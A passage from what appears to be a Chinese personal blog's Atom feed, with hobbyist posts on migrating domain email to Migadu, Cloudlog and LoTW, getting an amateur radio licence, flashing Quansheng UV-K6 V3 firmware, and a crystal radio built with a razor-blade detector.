</p><figure><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/shenzhen-metro/szm-shaoniangong-in-4.jpg" alt="少年宫进站图片" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/shenzhen-metro/szm-shaoniangong-in-4.jpg 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/shenzhen-metro/szm-shaoniangong-in-4.jpg 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/shenzhen-metro/szm-shaoniangong-in-4.jpg 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/shenzhen-metro/szm-shaoniangong-in-4.jpg 1600w" loading="lazy" /><figcaption>少年宫进站图片</figcaption></figure><p></p></section><section><h2>出站<a href="#出站-1"><span>#</span></a></h2><p>又是耗费<strong>半小时</strong>终于<strong>回到刚刚的始发站，成功出站</strong>。</p><blockquote><p><strong>这次更新很成功！</strong></p></blockquote><p></p><figure><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/shenzhen-metro/IMG_20260708_171435.jpg" alt="贝尔路出站" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/shenzhen-metro/IMG_20260708_171435.jpg 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/shenzhen-metro/IMG_20260708_171435.jpg 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/shenzhen-metro/IMG_20260708_171435.jpg 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/shenzhen-metro/IMG_20260708_171435.jpg 1600w" loading="lazy" /><figcaption>贝尔路出站</figcaption></figure><p></p></section></section>
<section><h1>结尾<a href="#结尾"><span>#</span></a></h1><p>其实这一趟我是<strong>专门</strong>去用这些<strong>新的东西</strong>，
然后呢我也是<strong>特别懒的</strong>，没写<strong>很多</strong>。</p><blockquote><p>本文章呢也只是去<strong>阐述</strong>一些<strong>事实</strong>，去<strong>真实”*的去</strong>记录<strong>我做的事，没有去</strong>抹黑**，去<strong>乱表述</strong>，我所做的都只是”<em>记录这件事情</em>*。
<strong>有什么问题请联系</strong>admin[@]mckero.com**</p></blockquote></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/blog-mail-migadu/</id>
      <title type="text">将域名的邮箱迁移至migadu</title>
      <published>2026-07-07T00:00:00.000Z</published>
      <updated>2026-07-07T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/blog-mail-migadu/"/>
      <summary type="text">本文记录了作者“闲得没事干”将域名邮箱迁移至 Migadu 的全过程。文中对比了腾讯、飞书、Fastmail、Google 等国内外邮件服务商的优缺点，最终选择性价比突出的 Migadu 年付 19 美元套餐，并分享了 DNS 配置与邮件评分满分实测体验，适合爱折腾的域名持有者参考。</summary>
      <content type="html"><![CDATA[<section><h1>将域名的邮箱迁移至migadu<a href="#将域名的邮箱迁移至migadu"><span>#</span></a></h1><p>好久没来写文章了，赶紧来水一篇。</p><section><h2>前因后果<a href="#前因后果"><span>#</span></a></h2><p>原本是我什么都不想迁移的我的域名mckero.com好好的，啥事儿没有？
但是我就是闲着疼，闲的没事儿干，我就是要迁移来玩一玩。</p></section></section>
<section><h1>挑选服务商<a href="#挑选服务商"><span>#</span></a></h1><p>服务商有很多个</p>

<table><thead><tr><th>国内的</th><th>价钱</th><th>送达率</th><th>体验</th></tr></thead><tbody><tr><td>腾讯</td><td>我听说是750/y</td><td>国内，国际的都差不多</td><td>勉强我用过一次登录，还得用这个企业微信扫码</td></tr><tr><td>网易</td><td>没用过，可以去参考别的文章</td><td>差不了多少</td><td>不知道</td></tr><tr><td>飞书</td><td>有免费的和付费的</td><td>差不多，没有什么同上</td><td>国内体验比较好的一个，可以无限开邮箱</td></tr><tr><td>国际的</td><td></td><td></td><td></td></tr><tr><td>Fastmail</td><td>价钱略贵，感觉没什么性价比</td><td>送达率同上</td><td>没用过，但是我看口碑不错</td></tr><tr><td>migadu</td><td>有一个19每年的套餐，还行，看着不错，我现在就在用</td><td>送达率同上，特别要提的是这个19美元每年的套餐，他一天只给20个发送</td><td>现在在用，然后但是这个每天只有20个out</td></tr><tr><td>Google</td><td>要是不是很大的一个团队就不要买没什么性价比对于小站长</td><td>这个送达率肯定是最好的，Google很注重这些</td><td>学校送的edu感觉体验还行，但是因为不是我管理，我也不知道什么情况</td></tr><tr><td>Microsoft</td><td>同Google</td><td>同上</td><td>同上</td></tr></tbody></table><p>看完表格，你肯定会有以下这种感觉</p><ol>
<li>Google，Microsoft，腾讯偏商业</li>
<li>国际的基本上没有那种免费的</li>
<li>国内的服务商体验较差</li>
<li>基本要钱</li>
</ol><p>首先呢用一个域名邮箱，你肯定得要有一颗折腾的心</p><ul>
<li> <strong>折腾</strong>的心</li>
<li> 可能得花点小<strong>钱</strong></li>
<li> 可能其实自己<strong>用不上</strong>
如果你都能满足的话，你可以看一下下面的方案</li>
</ul><section><h3>小站长<a href="#小站长"><span>#</span></a></h3><p>优先选择
飞书，网易
这两个对免费用户比较<strong>友好</strong>
特别是<strong>飞书</strong>这个真的好，这个可以免费用，我一直免费用了大半年。</p></section><section><h3>不想用免费套餐的小站长<a href="#不想用免费套餐的小站长"><span>#</span></a></h3><p>优选migadu</p><p>migadu Micro 套餐（19$ 每年）：5GiB+ 总存储，每天总计收 200 发 20 条邮件。
这migadu还是不错的，<strong>每天只能发20</strong>，有点小黑心😂😂😂</p><blockquote><p>我没有接任何提供商的的<strong>广告/商单/推广/赞助</strong></p></blockquote><blockquote><p>我没有<strong>抹黑</strong>任何<strong>提供商</strong>，这里只是<strong>介绍</strong>，有任何不对的可以联系我<strong>admin[@]mckero.com</strong></p></blockquote></section><section><h3>有钱的站长，商业化的站长<a href="#有钱的站长商业化的站长"><span>#</span></a></h3><p>那还说啥呢？直接上<strong>Google</strong>，<strong>Microsoft</strong>。有国内需求的直接上<strong>腾讯</strong></p></section></section>
<section><h1>migadu<a href="#migadu"><span>#</span></a></h1><p><strong>我肯定是第二类</strong>（<strong>不想免费套餐的小站长</strong>）
所以说呢，我挑来拣去我就选择了<strong>migadu</strong>，为什么呢？
<strong>Fastmail</strong>收费太<strong>贵</strong>了！**没有性价比！**我一扫过去一个月五美金！太贵了，有这钱的话，我直接上migadu九美金一个月套餐了。
加上我需求特别低</p><ul>
<li>我每天能发5封邮件都算多了</li>
<li>接收需求比较高</li>
<li>要求能开很多个邮箱</li>
<li>最好有别名，这样子可以少开一些邮箱
在这种需求下，肯定是哪家便宜我走哪家呀
<strong>migadu Fastmail</strong>这两家都提供这个，多开邮箱，多域名（虽然我用不上，我就一个域名）migadu更便宜
Micro 套餐（19$ 每年）：5GiB+ 总存储，每天总计收 200 发 20 条邮件。</li>
</ul></section>
<section><h1>最终选择<a href="#最终选择"><span>#</span></a></h1><p>那我肯定是选择migadu！😂😂😂</p><section><h2>邮件迁移<a href="#邮件迁移"><span>#</span></a></h2><p>我懒迁移我就没什么重要的，所以说我就直接把DNS按要求进行更改（说实话，要求更改的东西还挺多，migadu更偏极客，解释的比较少，但是都讲的很清楚）</p><p>要是有迁移需求的，可以看他们的文章，他们的文章有教程，教你怎么部署一个可以迁移的工具。（他们本身不帮你迁移，只是教你怎么迁移😂）</p></section><section><h2>邮件评分<a href="#邮件评分"><span>#</span></a></h2><p>我使用了邮件评分工具给特定的邮箱发送的测试邮件（我已经按照migadu配置了DNS，并且都已经成功的传播）得到的分数是10/10满分（按照提供商的DNS配置进行配置，只要提供商别太差，就不会得到其他分数）</p></section></section>
<section><h1>结尾<a href="#结尾"><span>#</span></a></h1><p>其实就是我闲着蛋疼，啥事儿我都不想做，就闲着没事儿干迁移，其实飞书用的好好的，啥事儿没有!</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/ues-cloudlog/</id>
      <title type="text">推荐cloudlog</title>
      <published>2026-05-19T00:00:00.000Z</published>
      <updated>2026-05-19T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/ues-cloudlog/"/>
      <summary type="text">我找了好久终于找到了这个cloudlog（虽然我听说wavelog更好用）但是我还是使用了cloudlog</summary>
      <content type="html"><![CDATA[<section><h1>引言<a href="#引言"><span>#</span></a></h1><p>我在之前的文章说过我去广州参加无线电考试，我现在已经取得呼号（<strong>BG7NTA</strong>）。</p><p>我最近也在研究如何方便的上传<strong>lotw</strong>，有时候我用不用了电脑，想要在手机上上传日志。
小心点！！！！！！！，养成备份的习惯！！！！
<a href="https://blog.mckero.com/about/">免责声明</a></p><section><h4>[重要提示] 协议的接受与约束力<a href="#重要提示-协议的接受与约束力"><span>#</span></a></h4><p>访问者在以任何方式（包括但不限于浏览、抓取、下载、引用）访问本站（blog.mckero.com）时，即视为<strong>已完全理解并无条件接受</strong>本免责声明的所有条款。<strong>本声明构成访客与博主之间具有法律约束力的协议。如果您不同意本声明的任何部分，请立即销毁从本站获取的所有数据并停止访问。</strong></p></section></section>
<section><h1>使用cloudlog<a href="#使用cloudlog"><span>#</span></a></h1><p>我找了好久终于找到了这个<strong>cloudlog</strong>（虽然我听说<strong>wavelog</strong>更好用）但是我还是使用了<strong>cloudlog</strong></p><section><h2>介绍<a href="#介绍"><span>#</span></a></h2><p>本文章主要讲解如何<strong>使用</strong>，不讲解如何<strong>部署</strong>
如果你想“<strong>偷懒</strong>”可以<strong>花钱</strong>使用<strong>cloudlog</strong>官方的<strong>实例</strong>
部署请使用<strong>php7</strong>（因为用<strong>php8</strong>有很多问题）</p></section><section><h2>使用<a href="#使用"><span>#</span></a></h2><p>刚开始你可能会遇到<strong>打不开</strong>的问题，在排除其他可能的问题后，你可以看看是不是你没有访问带有<strong>index.php</strong>的后缀的链接，我第一次就打不开。</p><p>打开后整个都是英文，你可以打开<strong>账户</strong>，<strong>偏好</strong>，找到<strong>语言</strong>，切换到<strong>简体中文</strong>（<strong>wavelog</strong>听说做的更好)</p><p>我主要想讲的就是这个lotw，先上传证书访问index.php/lotw，上传你lotw的证书，同步下来，就可以用了，小心点！！！！！！！，养成备份的习惯！！！！
<a href="https://blog.mckero.com/about/">免责声明</a></p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/be-a-ham/</id>
      <title type="text">我成为一个业余无线电爱好者的经历</title>
      <published>2026-04-06T00:00:00.000Z</published>
      <updated>2026-04-06T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/be-a-ham/"/>
      <summary type="text">我终于去考试了！</summary>
      <content type="html"><![CDATA[<section><h1>我成为一个业余无线电爱好者的经历<a href="#我成为一个业余无线电爱好者的经历"><span>#</span></a></h1></section>
<section><h1>我的经历<a href="#我的经历"><span>#</span></a></h1><section><h2>2019年<a href="#2019年"><span>#</span></a></h2><p>我在2019年左右了解到了业余无线电这个爱好。
当时我在刷视频，然后我就刷到了<strong>m哥</strong>的视频，我很好奇，这个用机器可以联络到远方的爱好，但是也了解甚少。</p></section><section><h2>2020年-2024年<a href="#2020年-2024年"><span>#</span></a></h2><p>我对于这个爱好有了些了解，但是还是<strong>3分钟热度</strong>只是想想，有时候想到别人玩我也想玩，但是也没有去考证。</p></section><section><h2>2024年-2025年<a href="#2024年-2025年"><span>#</span></a></h2><p>从2024年3月24号起，未成年人也可以设置业余无线电电台了（工作在<strong>30-3000MHz频段</strong>且最大发射功率不大于<strong>25瓦</strong>的<strong>具有核准代码</strong>的业余无线电台）看到这里我真是<strong>馋</strong>了，但是还是懒的去考试（觉得<strong>刷题</strong>比登天还难）</p></section><section><h2>2025年10月1日<a href="#2025年10月1日"><span>#</span></a></h2><p>在2025年10月1日，<strong>CRAC</strong>启用了新题库</p><ul>
<li>旧题库（才350题左右，三四天就可以刷完）</li>
<li>新题库（650题左右，更难刷了）</li>
</ul></section><section><h2>2025年12月<a href="#2025年12月"><span>#</span></a></h2><p>我在bilibili上看到视频，知道了其实没证可以当SWL，我就去听短波，找台发卡。
到后面我认识了BD6KIS，他给我提供了很多帮助。也鼓励我去考证，设置电台。</p></section><section><h2>2026年3月14日<a href="#2026年3月14日"><span>#</span></a></h2><p>我去广州参加A类无线考试。</p></section></section>
<section><h1>后续<a href="#后续"><span>#</span></a></h1><p>我通过了考试，现在在等操作证。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/quansheng-k6-v3-firmware/</id>
      <title type="text">泉盛UV-K6 V3刷机</title>
      <published>2026-02-13T00:00:00.000Z</published>
      <updated>2026-02-13T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/quansheng-k6-v3-firmware/"/>
      <summary type="text">泉盛UV-K6 V3版本使用新MCU的刷机指南</summary>
      <content type="html"><![CDATA[<section><h1>泉盛UV-K6 V3刷机<a href="#泉盛uv-k6-v3刷机"><span>#</span></a></h1><p>众所周知，新版的泉盛UV-K6使用的是新的mcu，这就导致原来的固件无法使用了。最近呢我购买了一台泉盛UV-K6，想给他刷机。但是呢刷入了旧版固件，开不了机。我就寻找到一个可以适配新版mcu的固件。</p></section>
<section><h1>旧版的mcu<a href="#旧版的mcu"><span>#</span></a></h1><p>旧版的K6使用的是DP32G030这个mcu。这个mcu有着很高的可玩性。比如Egzumer，Losehu这些固件。都是基于这个DP32G030。这个mcu的生态也是极其的成熟。</p></section>
<section><h1>新版的mcu<a href="#新版的mcu"><span>#</span></a></h1><p>泉盛uvk6在2025年后半年开始使用新的mcu也就是py32。这就导致了以前的固件无法使用。</p><section><h2>如果把旧mcu固件刷入新mcu的K6<a href="#如果把旧mcu固件刷入新mcu的k6"><span>#</span></a></h2><p>我最近购买了一台K6，我在刷机的时候没有看，我就直接刷入了以前的固件，然后呢就导致开机不亮。但是还好，这影响不到再刷回去。但是刷都刷机了，我就想着折腾折腾吧。我就去互联网上寻找有没有适配新的mcu的固件。</p></section></section>
<section><h1>适配新mcu的固件<a href="#适配新mcu的固件"><span>#</span></a></h1><p>F4HWN firmware port for the UV-K1 and UV-K5 V3 using the PY32F071 MCU
这款固件适配了，泉盛uvk5 v3和泉盛uvk6 v3（PY32F071 MCU）注意不要刷错了，不要V2刷了这个版本！新版本的K6还可以使用C口直接刷机不需要买写频线了（你也可以继续使用写频线）</p><p>请注意！
这个固件没有真正的大脑。请使用你自己的。使用此固件风险自负。完全不能保证它在你的无线电设备上能以任何方式正常工作，它甚至可能会把你的无线电设备弄坏，如果发生这种情况，你需要再买一个无线电设备。不管怎样，玩得开心。</p><p>这个固件做到了很多的功能，比如更好的s表，更多档位的功率（肯定没有超过5W的，就像调节音量，给你更多的细化选择，而非把音量调到超过硬件的性能）频谱分析仪，等等…</p><blockquote><p>更多请查看<a href="https://github.com/armel/uv-k1-k5v3-firmware-custom/wiki" target="_blank">固件文档</a></p></blockquote><p>刷入这个固件，建议使用作者推荐的工具<a href="https://armel.github.io/uvtools2/" target="_blank">UVTools2</a>不过请注意，刷机前请备份校准文件！一定要备份，一定要备份，一定要备份。</p><p>最新的v5.10还有一个截图功能，K5Viewe。这是作者在文档上说的教程。注意！K5Viewer 不是一个远程控制工具。</p><blockquote><p>这是我翻译的版本，并不100%准确，请查看<a href="https://github.com/armel/uv-k1-k5v3-firmware-custom/wiki" target="_blank">原文档</a></p></blockquote><p>这是一个傻瓜式快速教程：</p><ol>
<li>为你的泉盛 K1 或 K5 刷入 F4HWN 固件</li>
<li>保持对讲机通过 USB 线连接到你的电脑</li>
<li>前往 <a href="https://armel.github.io/k5viewer/" target="_blank">https://armel.github.io/k5viewer/</a></li>
<li>点击连接（并选择串口）</li>
</ol><p>就是这样。无需安装。无需配置。即插即用 🤭</p><section><h2>效果<a href="#效果"><span>#</span></a></h2><p><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/quansheng-k6-v3-firmware/quansheng-k6-v3-firmware-K5Viewe.png" alt="" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/quansheng-k6-v3-firmware/quansheng-k6-v3-firmware-K5Viewe.png 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/quansheng-k6-v3-firmware/quansheng-k6-v3-firmware-K5Viewe.png 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/quansheng-k6-v3-firmware/quansheng-k6-v3-firmware-K5Viewe.png 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/quansheng-k6-v3-firmware/quansheng-k6-v3-firmware-K5Viewe.png 1600w" loading="lazy" /></p></section></section>
<section><h1>结尾<a href="#结尾"><span>#</span></a></h1><p>刷完后就老老实实用着，别折腾了。我之前闲着没事儿，刷完后乱折腾，把电压搞到了600V(尽管这是假的，这是因为校准文件的问题)但是保护机制完美的生效了，无法开机去修改。我刷回原厂固件。但是原厂固件有写入锁，不能去修改。原厂系统自己也不能修改。这就陷入了一个死循环。最后还是我用AI修改了固件代码，重新编译了一个没有保护的版本，开机去修改电压才救回来的。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/mining-radio-by-bd6kis/</id>
      <title type="text">BD6KIS制作的矿石收音机</title>
      <published>2026-01-11T00:00:00.000Z</published>
      <updated>2026-01-11T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/mining-radio-by-bd6kis/"/>
      <summary type="text">一次对二战“散兵坑收音机”还原。本文记录了BD6KIS利用刀片、铅笔芯和线圈制作的无源无线电接收机。</summary>
      <content type="html"><![CDATA[<section><h1>BD6KIS制作的矿石收音机<a href="#bd6kis制作的矿石收音机"><span>#</span></a></h1><p>“今日更新一篇关于<strong>无源无线电接收</strong>的文章</p><blockquote><p>⚠️ <strong>声明</strong>：本文由 AI (Gemini) 辅助撰写</p></blockquote><p>可以在<a href="https://www.qrz.com/db/BD6KIS" target="_blank">BD6KIS的QRZ.com主页</a>查看他的信息。</p></section>
<section><h1>分析<a href="#分析"><span>#</span></a></h1><p>这是BD6KIS给我的图片。
</p><figure><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/mining-radio-by%20bd6kis/%E7%9F%BF%E7%9F%B3%E6%94%B6%E9%9F%B3%E6%9C%BA%E6%AD%A3%E9%9D%A2.webp" alt="矿石收音机正面" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/mining-radio-by%20bd6kis/%E7%9F%BF%E7%9F%B3%E6%94%B6%E9%9F%B3%E6%9C%BA%E6%AD%A3%E9%9D%A2.webp 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/mining-radio-by%20bd6kis/%E7%9F%BF%E7%9F%B3%E6%94%B6%E9%9F%B3%E6%9C%BA%E6%AD%A3%E9%9D%A2.webp 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/mining-radio-by%20bd6kis/%E7%9F%BF%E7%9F%B3%E6%94%B6%E9%9F%B3%E6%9C%BA%E6%AD%A3%E9%9D%A2.webp 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/mining-radio-by%20bd6kis/%E7%9F%BF%E7%9F%B3%E6%94%B6%E9%9F%B3%E6%9C%BA%E6%AD%A3%E9%9D%A2.webp 1600w" loading="lazy" /><figcaption>矿石收音机正面</figcaption></figure><p></p><p></p><figure><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/mining-radio-by%20bd6kis/%E7%9F%BF%E7%9F%B3%E6%94%B6%E9%9F%B3%E6%9C%BA%E5%8F%8D%E9%9D%A2.webp" alt="矿石收音机反面" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/mining-radio-by%20bd6kis/%E7%9F%BF%E7%9F%B3%E6%94%B6%E9%9F%B3%E6%9C%BA%E5%8F%8D%E9%9D%A2.webp 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/mining-radio-by%20bd6kis/%E7%9F%BF%E7%9F%B3%E6%94%B6%E9%9F%B3%E6%9C%BA%E5%8F%8D%E9%9D%A2.webp 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/mining-radio-by%20bd6kis/%E7%9F%BF%E7%9F%B3%E6%94%B6%E9%9F%B3%E6%9C%BA%E5%8F%8D%E9%9D%A2.webp 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/mining-radio-by%20bd6kis/%E7%9F%BF%E7%9F%B3%E6%94%B6%E9%9F%B3%E6%9C%BA%E5%8F%8D%E9%9D%A2.webp 1600w" loading="lazy" /><figcaption>矿石收音机反面</figcaption></figure>
可以看到这台矿石收音机没有使用成品检波二极管。所以难度很高。<p></p><p>“拒用成品二极管，只为致敬经典。 这是一次对二战**‘散兵坑收音机’ (Foxhole Radio)** 的硬核还原，体现了 BD6KIS 对技术细节还原度的追求。</p><section><h2>组件与材料构成<a href="#组件与材料构成"><span>#</span></a></h2><p>BD6KIS 选用了标准电子元件与基础材料进行组合。以下是基于硬件实物的技术分析：</p><ul>
<li>
<p><strong>电路基板 (Universal Board)</strong>：
使用通用的<strong>绿油万能实验板（Perfboard）</strong>。该基板提供了一个绝缘的机械支撑平台，利用其矩阵排列的金属焊盘，实现了非标元件的布局与电气节点的焊接互连。</p>
</li>
<li>
<p><strong>拨动开关 (Slide Switch)</strong>：
板载的一枚单刀微型开关。
在简易矿石收音机电路中，此类开关通常用于<strong>切换电感线圈的抽头</strong>（改变接入电感量 <span><span>LL</span><span><span><span></span><span>L</span></span></span></span> 以适应不同波段），或用于控制检波回路的通断以方便调试。</p>
</li>
<li>
<p><strong>手写标识 (Labels)</strong>：
为了明确信号链路，BD6KIS 对关键端口进行了物理标注：</p>
<ul>
<li><strong>“天”/“地”</strong>：指示天线与地线的接入点。</li>
<li><strong>“调谐”</strong>：指示可变电容器的位置。</li>
<li><strong>“OUT”</strong>：指示解调后的音频信号输出端，设计用于连接高阻抗受话器。</li>
</ul>
</li>
</ul></section><section><h2>检波器<a href="#检波器"><span>#</span></a></h2><p>这台收音机使用的检波器是一片刀片，<strong>配合一根削尖的铅笔芯（石墨）构成。</strong></p><p>这正是二战“散兵坑收音机”最标志性的设计。其工作原理相当硬核：经过烤蓝或氧化处理的刀片表面有一层<strong>氧化物半导体层</strong>，而铅笔芯作为触点（Cat’s Whisker）。</p><p>当石墨尖端与刀片表面的氧化层接触时，会在微观界面形成一个<strong>金属-半导体结（肖特基势垒）</strong>。</p><p>该结构具有单向导电特性，在电路中起到<strong>二极管</strong>的作用。它能够对天线接收到的高频调幅（AM）信号进行<strong>检波（整流）</strong>，截去高频载波的负半周，从而还原出音频信号（包络线）。</p><p>由于刀片表面的氧化层厚度与半导体特性并不均匀，该装置没有固定的导通参数。实际操作中，需要人工反复微调铅笔芯的接触位置和压力，以寻找能够有效检波的接触点（灵敏点）。</p></section><section><h2>调谐回路原理<a href="#调谐回路原理"><span>#</span></a></h2><p>除了检波器，该接收机的另一个核心部分是由<strong>电感线圈</strong>（<span><span>LL</span><span><span><span></span><span>L</span></span></span></span>）和<strong>可变电容器</strong>（<span><span>CC</span><span><span><span></span><span>C</span></span></span></span>）组成的 <strong>LC 并联谐振回路</strong>。</p><p>这是收音机进行信号选择的物理基础。<strong>天线</strong>将感应到的微弱电磁波能量转化为高频电流输入回路。当输入信号的频率 <span><span>ff</span><span><span><span></span><span>f</span></span></span></span> 与回路的固有谐振频率一致时，回路发生<strong>并联谐振</strong>，对该频率呈现高阻抗特性，从而在回路两端建立起幅度最大的信号电压。</p><p>其谐振频率由以下公式决定：</p><span><span><span>f=12πLCf = \frac{1}{2\pi\sqrt{LC}}</span><span><span><span></span><span>f</span><span></span><span>=</span><span></span></span><span><span></span><span><span></span><span><span><span><span><span><span></span><span><span>2</span><span>π</span><span><span><span><span><span><span></span><span><span>L</span><span>C</span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span><span><span></span><span></span></span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span></span></span></span></span><p>其中：</p><ul>
<li><span><span>ff</span><span><span><span></span><span>f</span></span></span></span> ：谐振频率 (Hz)。</li>
<li><span><span>LL</span><span><span><span></span><span>L</span></span></span></span> ：线圈的电感量 (H)。</li>
<li><span><span>CC</span><span><span><span></span><span>C</span></span></span></span> ：回路的<strong>总电容量</strong> (F)。
<ul>
<li><em>注：在严格的工程计算中，此数值不仅包含可变电容器的读数，还应计入线圈的分布电容、电路走线的杂散电容以及天线耦合电容。</em></li>
</ul>
</li>
</ul><p>通过改变可变电容器的数值，BD6KIS 改变了回路的谐振频率，从而对目标频率的信号进行<strong>选择性增强</strong>，同时衰减其他频率的干扰信号。</p></section><section><h2>能量捕获系统<a href="#能量捕获系统"><span>#</span></a></h2><p>由于矿石收音机属于<strong>无源接收机</strong>，它不消耗外部电源，驱动耳机发声的所有能量均直接来自于空气中的电磁波。因此，高效的天地线系统是其工作的先决条件。</p><ul>
<li>
<p><strong>天线</strong>：
该机器设计用于连接外部天线（通常为长线天线）。
从物理角度看，天线充当了能量收集器。当无线电波扫过导线时，变化的电磁场在导线内<strong>感应出微弱的高频交变电动势</strong>。对于中波（MW）接收，天线的有效长度与架设环境直接决定了能量捕获的效率。</p>
</li>
<li>
<p><strong>地线</strong>：
地线提供了关键的<strong>高频电流回流路径</strong>。
良好的接地不仅能与天线共同构成完整的回路，最大化射频信号的输入强度，还能有效消除人体感应带来的分布电容影响，防止因人体靠近电路而引起的<strong>频率漂移</strong>（即俗称的“跑台”现象），从而确保调谐的稳定性。</p>
</li>
</ul></section></section>
<section><h1>总结<a href="#总结"><span>#</span></a></h1><p>这台由 BD6KIS 制作的矿石收音机，本质上是一次<strong>对无线电基础原理的动手实践</strong>。</p><p>它剥离了现代电子设备中所有的放大器、解调芯片和电源管理模块，仅利用最基础的材料（刀片、石墨、铜线）去捕捉并还原电磁波。虽然其灵敏度和选择性无法与现代超外差接收机相比，但它以最直观的方式，展示了无线电通信从“电磁波”到“电流”再到“声音”的<strong>核心物理链路</strong>。</p></section>
<section><h1>致谢<a href="#致谢"><span>#</span></a></h1><p>感谢 <strong>BD6KIS</strong> 的深夜调试。</p><p>文中实物图片由 <strong>BD6KIS</strong> 拍摄并授权使用，图片版权归原作者所有，转载请保留此声明。</p><p>在代码世界里编译 Linux 内核尚有迹可循，而在深夜用刀片和铅笔芯徒手捕捉电波，则更需要一份令人敬畏的耐心与运气。</p><p><strong>73!</strong></p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/add-tianligpt/</id>
      <title type="text">给你的fuwari博客添加AI文章摘要</title>
      <published>2025-11-26T00:00:00.000Z</published>
      <updated>2025-11-26T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/add-tianligpt/"/>
      <summary type="text">最近，看到很多博客都有AI摘要，我的博客没有，就想去添加一个AI摘要。</summary>
      <content type="html"><![CDATA[<section><h1>给你的fuwari博客添加AI文章摘要<a href="#给你的fuwari博客添加ai文章摘要"><span>#</span></a></h1><p>我之前在很多的博客上都可以看到文章摘要，今天看到了相关内容，就给我的博客添加了。</p></section>
<section><h1>经历<a href="#经历"><span>#</span></a></h1><p>我原本是在测试我的博客的<code>开往</code>是否可以跳转的，试着试着我跳转到了<a href="https://blog.zhheo.com/" target="_blank">张洪Heo</a>这个博客，我看到他的网站的文章质量很高（文章的封面就很高级，感觉质量很高）</p><p><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/add-TianliGPT/heo-ai-zhaiyao.avif" alt="" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/add-TianliGPT/heo-ai-zhaiyao.avif 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/add-TianliGPT/heo-ai-zhaiyao.avif 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/add-TianliGPT/heo-ai-zhaiyao.avif 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/add-TianliGPT/heo-ai-zhaiyao.avif 1600w" loading="lazy" /></p><p>我就点了一下文章摘要，就跳转到了<a href="https://blog.zhheo.com/p/ec57d8b2.html" target="_blank">Heo-如何让博客支持AI摘要，使用TianliGPT自动生成文章的AI摘要</a>我看了这篇文章，很有启发，这篇文章讲了如何接入还说了一个平台<a href="https://ai.zhheo.com/docs/" target="_blank">洪墨AI</a>看了文档后我看到有两种接入方式，<a href="https://ai.zhheo.com/docs/plugin/" target="_blank">插件接入</a>和<a href="https://ai.zhheo.com/docs/addCode.html" target="_blank">代码嵌入</a></p><section><h2>插件接入<a href="#插件接入"><span>#</span></a></h2><p>插件接入是有要求的，你的博客必须是这些框架的。</p><ul>
<li>
<p>Wordpress</p>
</li>
<li>
<p>Hexo</p>
</li>
<li>
<p>Halo</p>
</li>
<li>
<p>Typecho</p>
</li>
<li>
<p>Discuz</p>
</li>
<li>
<p>emlog</p>
</li>
<li>
<p>VitePress</p>
</li>
<li>
<p>Z-Blog</p>
</li>
</ul><p>可以看到，列表里面没有astro或者fuwari所以我不能通过插件接入。</p></section><section><h2>代码嵌入<a href="#代码嵌入"><span>#</span></a></h2><p>文档上是这样说的
洪墨AI是用过js在网页中插入iframe的方式提供，体积小巧，功能强大，兼容性强。
我的博客就是使用这种方式接入的。</p></section></section>
<section><h1>接入<a href="#接入"><span>#</span></a></h1><p>首先，先注册洪墨AI（这个很简单吧？就不细讲了。）
注册后，花8.9左右买点Token
